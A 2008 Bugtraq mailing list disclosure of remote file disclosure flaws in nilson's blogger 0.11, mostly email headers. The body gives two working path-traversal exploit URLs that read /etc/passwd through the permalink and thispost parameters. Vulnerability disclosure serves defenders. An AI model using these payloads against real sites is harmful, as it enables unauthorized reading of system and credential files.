nilson's blogger 0.11 remote file disclosure vulnerabilities
- To: bugtraq <bugtraq@xxxxxxxxxxxxxxxxx>
- Subject: nilson's blogger 0.11 remote file disclosure vulnerabilities
- From: "muuratsalo experimental hack lab" <muuratsalo@xxxxxxxxx>
- Date: Thu, 31 Jan 2008 20:56:34 +0100
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; bh=wtQheI2AHNAEKWvsuXoLiGBQECTCatpU071/F8540OE=; b=X8BAtNcK4GM6/bDLV6gfwDSGRIpa7afiXVo5cNyw0ZaolZeP+UUdrAr6Exp1WUK0Pn7yFl11CUNT9Vhpxhc9fz2YDA812iDcWCdzr8tK4KtFtF4og4eyPw2Aesg4GhAL18YxY06jg89UIWGU3VPTuVLjQv6RAcKBqj6suT5EDO0=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=qd4dVBK/UIKWnIDGmxIMRGB2gISnI6ugnjgnaGMPGtewSgOq/qYBRLrzhnrcWDZFJkENOy7j+HS2VtRhEqFG+zO8+FVfTGWtLUrLXtwl3y6aG+Cxzxx3XP2i5dsJJCzPpPXaw4bUaWBcuRznaTMSKPxPt5v25Xv+L5PXpx2mip4=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
nilson's blogger 0.11 remote file disclosure vulnerabilities
download http://sourceforge.net/projects/nilson-blogger/
author muuratsalo
contact muuratsalo[at]gmail.com
exploits
http://localhost/nilson-blogger0.11/index.php?permalink=../../../../../../../../../../etc/passwd
http://localhost/nilson-blogger0.11/comments.php?thispost=../../../../../../../../../../etc/passwd